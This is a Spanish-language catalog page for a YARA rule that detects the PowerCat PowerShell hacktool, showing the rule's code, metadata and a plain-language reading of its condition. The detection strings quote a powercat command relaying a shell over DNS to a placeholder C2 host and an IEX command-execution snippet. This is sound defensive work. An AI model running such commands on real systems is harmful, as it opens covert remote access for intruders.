Saltar al contenido

YARA · Signature Base (Florian Roth / Nextron)

SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21

Detects PowerCat hacktool

Herramienta ofensivaSignature Base (Florian Roth / Nextron)Detection Rule License 1.1Compila con YARA-X
Autor
Florian Roth (Nextron Systems)
Fecha
2021-03-02
Modificada
2023-12-05
Puntuación / Calidad
75 / 85

Qué detecta esta regla

Detects PowerCat hacktool

Define 5 patrones (5 de texto, 0 hex, 0 regex).

Resumen generado a partir de los metadatos y la condición de la regla.

Código de la regla

hktl-ps1-powercat-mar21.yarDetection Rule License 1.1
rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
{
	meta:
		description = "Detects PowerCat hacktool"
		author = "Florian Roth (Nextron Systems)"
		id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"
		date = "2021-03-02"
		modified = "2023-12-05"
		reference = "https://github.com/besimorhino/powercat"
		source_url = "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/yara/apt_hafnium.yar#L84-L103"
		license_url = "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/LICENSE"
		hash = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
		logic_hash = "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
		score = 75
		quality = 85
		tags = "FILE"

	strings:
		$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
		$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
		$s1 = "Returning Encoded Payload..." ascii
		$s2 = "$CommandToExecute =" ascii fullword
		$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them
}

Cadenas (5 patrones)

IdentificadorTipoValorModificadores
$x1texto"powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com"ascii fullword
$x2texto"try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}"ascii fullword
$s1texto"Returning Encoded Payload..."ascii
$s2texto"$CommandToExecute ="ascii fullword
$s3texto"[alias(\"Execute\")][string]$e=\"\","ascii

Condición

uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them

En palabras sencillas (Heurística)

  • El archivo debe ocupar menos de 200KB (un límite barato que descarta archivos grandes).
  • Deben coincidir al menos 1 patrones de ( $x* ).
  • Deben coincidir al menos 3 patrones de la regla.

Prueba esta regla en tu navegador

Arrastra un archivo para escanearlo con esta regla usando YARA-X compilado a WebAssembly. No se sube nada.

Arrastra un archivo aquí o haz clic para elegirSe escanea en local con YARA-X. Archivos de hasta 200 MB.

Abrir en el editor

Referencias

Hashes de muestras

Hashes de las muestras que el autor lista en los metadatos de la regla (búscalos en tu plataforma de threat intelligence).

  • c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2

Licencia y atribución

Autor: Florian Roth (Nextron Systems)

Repositorio de origen: Signature Base (Florian Roth / Nextron) @ 94a1c48d7a

Licencia: Detection Rule License 1.1 (licencia del repositorio)

Regla original

Obtenida a través de YARA Forge 20260927, que añade a los nombres el prefijo de la fuente y campos meta normalizados.

Id de la regla: ae3963e8-2fe9-5bc3-bf72-95f136622832

Etiquetas:FILE